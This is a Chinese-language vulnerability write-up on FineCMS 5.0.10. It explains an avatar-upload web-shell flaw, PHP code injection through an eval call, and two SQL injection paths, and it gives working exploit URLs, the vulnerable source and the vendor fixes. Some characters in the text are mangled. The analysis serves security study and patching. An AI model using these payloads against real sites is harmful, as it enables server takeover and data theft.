天天看點

技能篇丨FineCMS 5.0.10 多個漏洞詳細分析

今天是一篇關于技能提升的文章,文章中的CMS是FineCMS,版本是5.0.10版本的幾個漏洞分析,主要内容是介紹漏洞修補前和修補後的分析過程,幫助大家快速掌握該技能。

注:篇幅較長,閱讀用時約7分鐘。

任意檔案上傳漏洞

1、漏洞複現

用十六進制編輯器寫一個包含一句話木馬的圖檔,去網站注冊一個賬号,然後到上傳頭像的地方。

抓包,修改檔案字尾名為.php并發包。

可以看到檔案已經上傳到/uploadfile/member/使用者ID/0x0.php

2、漏洞分析

檔案:

finecms/dayrui/controllers/member/Account.php 177~244行

/**
 * 上傳頭像處理
 * 傳入頭像壓縮包,解壓到指定檔案夾後删除非圖檔檔案
 */
public function upload() {
 // 建立圖檔存儲檔案夾
 $dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';
 @dr_dir_delete($dir);
 !is_dir($dir) && dr_mkdirs($dir);
 if ($_POST['tx']) {
 $file = str_replace(' ', '+', $_POST['tx']);
 if (preg_match('/^(data:s*image/(w+);base64,)/', $file, $result)){
 $new_file = $dir.'0x0.'.$result[2];
 if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
 exit(dr_json(0, '目錄權限不足或磁盤已滿'));
 } else {
 $this->load->library('image_lib');
 $config['create_thumb'] = TRUE;
 $config['thumb_marker'] = '';
 $config['maintain_ratio'] = FALSE;
 $config['source_image'] = $new_file;
 foreach (array(30, 45, 90, 180) as $a) {
 $config['width'] = $config['height'] = $a;
 $config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];
 $this->image_lib->initialize($config);
 if (!$this->image_lib->resize()) {
 exit(dr_json(0, '上傳錯誤:'.$this->image_lib->display_errors()));
 break;
 }
 }
 list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);
 !$type && exit(dr_json(0, '圖檔字元串不規範'));
 }
 } else {
 exit(dr_json(0, '圖檔字元串不規範'));
 }
 } else {
 exit(dr_json(0, '圖檔不存在'));
 }
// 上傳圖檔到伺服器
 if (defined('UCSSO_API')) {
 $rt = ucsso_avatar($this->uid, file_get_contents($dir.'90x90.jpg'));
 !$rt['code'] && $this->_json(0, fc_lang('通信失敗:%s', $rt['msg']));
 }
 exit('1');
}      

在版本5.0.8中也曾存在問題,官方采用了白名單的思想進行修複,代碼如下:

if (!in_array(strtolower($result[2]), array('jpg', 'jpeg', 'png', 'gif'))) {
 exit(dr_json(0, '目錄權限不足'));
 }
 ...
 $c = 0;
 if ($fp = @opendir($dir)) {
 while (FALSE !== ($file = readdir($fp))) {
 $ext = substr(strrchr($file, '.'), 1);
 if (in_array(strtolower($ext), array('jpg', 'jpeg', 'png', 'gif'))) {
 if (copy($dir.$file, $my.$file)) {
 $c++;
 }
 }
 }
 closedir($fp);
 }
 if (!$c) {
 exit(dr_json(0, fc_lang('未找到目錄中的圖檔')));
 }      

任意代碼執行漏洞

auth下面的分析過程中會講解到如何擷取。

浏覽器輸入:

http://getpass1.cn/index.php?c=api&m=data2&auth=582f27d140497a9d8f048ca085b111df¶m=action=cache%20name=MEMBER.1%27];phpinfo( );$a=[%271

這個漏洞的檔案在:

/finecms/dayrui/controllers/Api.php的data2( )

public function data2() {
 $data = array();
 // 安全碼認證
 $auth = $this->input->get('auth', true);
 if ($auth != md5(SYS_KEY)) {
 // 授權認證碼不正确
 $data = array('msg' => '授權認證碼不正确', 'code' => 0);
 } else {
 // 解析資料
 $cache = '';
 $param = $this->input->get('param');
 if (isset($param['cache']) && $param['cache']) {
 $cache = md5(dr_array2string($param));
 $data = $this->get_cache_data($cache);
 }
 if (!$data) {
 // list資料查詢
 $data = $this->template->list_tag($param);
 $data['code'] = $data['error'] ? 0 : 1;
 unset($data['sql'], $data['pages']);
 // 緩存資料
 $cache && $this->set_cache_data($cache, $data, $param['cache']);
 }
 }
 // 接收參數
 $format = $this->input->get('format');
 $function = $this->input->get('function');
 if ($function) {
 if (!function_exists($function)) {
 $data = array('msg' => fc_lang('自定義函數'.$function.'不存在'), 'code' => 0);
 } else {
 $data = $function($data);
 }
 }
 // 頁面輸出
 if ($format == 'php') {
 print_r($data);
 } elseif ($format == 'jsonp') {
 // 自定義傳回名稱
 echo $this->input->get('callback', TRUE).'('.$this->callback_json($data).')';
 } else {
 // 自定義傳回名稱
 echo $this->callback_json($data);
 }
 exit;
 }      

可以看到開頭這裡驗證了認證碼:

// 安全碼認證
 $auth = $this->input->get('auth', true);
 if ($auth != md5(SYS_KEY)) {
 // 授權認證碼不正确
 $data = array('msg' => '授權認證碼不正确', 'code' => 0);
 } else {      

授權碼在/config/system.php

可以看到SYS_KEY是固定的,我們可以在Cookies找到:

/finecms/dayrui/config/config.php

用浏覽器檢視Cookies可以看到KEY,但是驗證用MD5,是以我們需要對KEY進行處理。

直接看到這一段,調用了Template對象裡面的list_tag函數:

if (!$data) {
 // list資料查詢
 $data = $this->template->list_tag($param);
 $data['code'] = $data['error'] ? 0 : 1;
 unset($data['sql'], $data['pages']);
 // 緩存資料
 $cache && $this->set_cache_data($cache, $data, $param['cache']);
 }      

我們到finecms/dayrui/libraries/Template.php看list_tag函數的代碼,這裡把

param=action=cache%20name=MEMBER.1%27];phpinfo( );$a=[%271的内容分為兩個數組$var、$val,這兩個數組的内容分别為:

$var=['action','name']
$val=['cache%20','MEMBER.1%27];phpinfo();$a=[%271']      

$cache=_cache_var是傳回會員的資訊。

重點的是下面的@evai('$data=$cache'.$this->_get_var($_param).';');

foreach ($params as $t) {
 $var = substr($t, 0, strpos($t, '='));
 $val = substr($t, strpos($t, '=') + 1);      

再看這一段,因為swtich選中的是cache,是以就不再進行下面的分析了。

$pos = strpos($param['name'], '.');這句是為下面的substr函數做準備,為了分離出的内容為:

$_name='MEMBER'
$_param="1%27];phpinfo();$a=[%271"
 // action
 switch ($system['action']) {
 case 'cache': // 系統緩存資料
 if (!isset($param['name'])) {
 return $this->_return($system['return'], 'name參數不存在');
 }
 $pos = strpos($param['name'], '.');
 if ($pos !== FALSE) {
 $_name = substr($param['name'], 0, $pos);
 $_param = substr($param['name'], $pos + 1);
 } else {
 $_name = $param['name'];
 $_param = NULL;
 }
 $cache = $this->_cache_var($_name, !$system['site'] ? SITE_ID : $system['site']);
 if (!$cache) {
 return $this->_return($system['return'], "緩存({$_name})不存在,請在背景更新緩存");
 }
 if ($_param) {
 $data = array();
 @evai('$data=$cache'.$this->_get_var($_param).';');
 if (!$data) {
 return $this->_return($system['return'], "緩存({$_name})參數不存在!!");
 }
 } else {
 $data = $cache;
 }
 return $this->_return($system['return'], $data, '');
 break;      

跟蹤get_var函數,在這裡我們先把$param的内容假設為a,然後執行函數裡面的内容,最後傳回的$string的内容是:$string=['a']

那麼我們的思路就是把兩邊的[' ']閉合然後再放上惡意的代碼。

payload為:1'];phpinfo();$a=['1,那麼傳回的$string的内容:

$string=['1'];phpinfo();$a=['1']

public function _get_var($param) {
 $array = explode('.', $param);
 if (!$array) {
 return '';
 }
 $string = '';
 foreach ($array as $var) {
 $string.= '[';
 if (strpos($var, '$') === 0) {
 $string.= preg_replace('/[(.+)]/U', '['\1']', $var);
 } elseif (preg_match('/[A-Z_]+/', $var)) {
 $string.= ''.$var.'';
 } else {
 $string.= '''.$var.''';
 }
 $string.= ']';
 }
 return $string;
 }      

修複後的_get_var函數裡面多了一個dr_safe_replace過濾函數,然後data2( )删除了。

public function _get_var($param) {
 $array = explode('.', $param);
 if (!$array) {
 return '';
 }
 $string = '';
 foreach ($array as $var) {
 $var = dr_safe_replace($var);
 $string.= '[';
 if (strpos($var, '$') === 0) {
 $string.= preg_replace('/[(.+)]/U', '['\1']', $var);
 } elseif (preg_match('/[A-Z_]+/', $var)) {
 $string.= ''.$var.'';
 } else {
 $string.= '''.$var.''';
 }
 $string.= ']';
 }
 return $string;
 }      

dr_safe_replace( )

function dr_safe_replace($string) {
 $string = str_replace('%20', '', $string);
 $string = str_replace('%27', '', $string);
 $string = str_replace('%2527', '', $string);
 $string = str_replace('*', '', $string);
 $string = str_replace('"', '"', $string);
 $string = str_replace("'", '', $string);
 $string = str_replace('"', '', $string);
 $string = str_replace(';', '', $string);
 $string = str_replace('<', '<', $string);
 $string = str_replace('>', '>', $string);
 $string = str_replace("{", '', $string);
 $string = str_replace('}', '', $string);
 return $string;
}      

任意SQL語句執行1

浏覽器:

http://getpass1.cn/index.php?c=api&m=data2&auth=582f27d140497a9d8f048ca085b111df¶m=action=sql%20sql=%27select%20version( );%27

這裡就不用debug模式去跟進了,如果有小夥伴對CI架構的資料庫操作不熟悉的可以查閱官方文檔:

http://codeigniter.org.cn/user_guide/database/index.html

問題一樣出在:

finecms/dayrui/controllers/Api.php中的data2( ),

可以直接去看:

finecms/dayrui/libraries/Template.php裡面的list_tag( )函數。

這裡想說一下就是preg_match這個函數的作用,比對過後sql是一個數組:

array(2) {
 [0]=>
 string(23) "sql='select version();'"
 [1]=>
 string(17) "select version();"
}      

這裡判斷了開頭的位置是否隻使用了select:

if (stripos($sql, 'SELECT') !== 0) {
 return $this->_return($system['return'], 'SQL語句隻能是SELECT查詢語句');      

再往下看,這一句才是執行SQL的地方,傳入sql内容和$system['site']預設是1,$system['cache'] 預設緩存時間是3600。

$data = $this->_query($sql, $system['site'], $system['cache']);      

繼續跟進_query( )函數

public function _query($sql, $site, $cache, $all = TRUE) {
 echo $this->ci->site[$site];
 // 資料庫對象
 $db = $site ? $this->ci->site[$site] : $this->ci->db;
 $cname = md5($sql.dr_now_url());
 // 緩存存在時讀取緩存檔案
 if ($cache && $data = $this->ci->get_cache_data($cname)) {
 return $data;
 }
 // 執行SQL
 $db->db_debug = FALSE;
 $query = $db->query($sql);
 if (!$query) {
 return 'SQL查詢解析不正确:'.$sql;
 }
 // 查詢結果
 $data = $all ? $query->result_array() : $query->row_array();
 // 開啟緩存時,重新存儲緩存資料
 $cache && $this->ci->set_cache_data($cname, $data, $cache);
 $db->db_debug = TRUE;
 return $data;
 }      

沒有對函數進行任何過濾$query = $db->query($sql);,直接帶入了我們的語句。

官方的修複方法:删除了data2( )函數。

任意SQL語句執行2

http://getpass1.cn/index.php?s=member&c=api&m=checktitle&id=1&title=1&module=news,(select%20(updatexml(1,concat(1,(select%20user( )),0x7e),1)))a

檔案在:

finecms/dayrui/controllers/member/Api.php的checktitle( )函數:

public function checktitle() {
 $id = (int)$this->input->get('id');
 $title = $this->input->get('title', TRUE);
 $module = $this->input->get('module');
 (!$title || !$module) && exit('');
 $num = $this->db->where('id<>', $id)->where('title', $title)->count_all_results(SITE_ID.'_'.$module);
 echo $num;
 $num ? exit(fc_lang('<font color=red>'.fc_lang('重複').'</font>')) : exit('');
 }      

其他的沒什麼過濾,主要是CI架構裡面的一些内置方法,比如count_all_results,可以到:

http://codeigniter.org.cn/user_guide/database/query_builder.html?highlight=count_all_results#CI_DB_query_builder::count_all_results 檢視用法

還有一個就是SITE_ID變量,它是指:

站點是系統的核心部分,各個站點資料獨立,可以設定站點分庫管理。

其他

還有一個遠端指令執行漏洞沒能複現,是在api的html( )函數,說是可以用&來突破,但是evai隻能用;來結束語句的結束。

function dr_safe_replace($string) {
 $string = str_replace('%20', '', $string);
 $string = str_replace('%27', '', $string);
 $string = str_replace('%2527', '', $string);
 $string = str_replace('*', '', $string);
 $string = str_replace('"', '"', $string);
 $string = str_replace("'", '', $string);
 $string = str_replace('"', '', $string);
 $string = str_replace(';', '', $string);
 $string = str_replace('<', '<', $string);
 $string = str_replace('>', '>', $string);
 $string = str_replace("{", '', $string);
 $string = str_replace('}', '', $string);
 return $string;
}      

以上是今天的全部内容,大家看懂了嗎?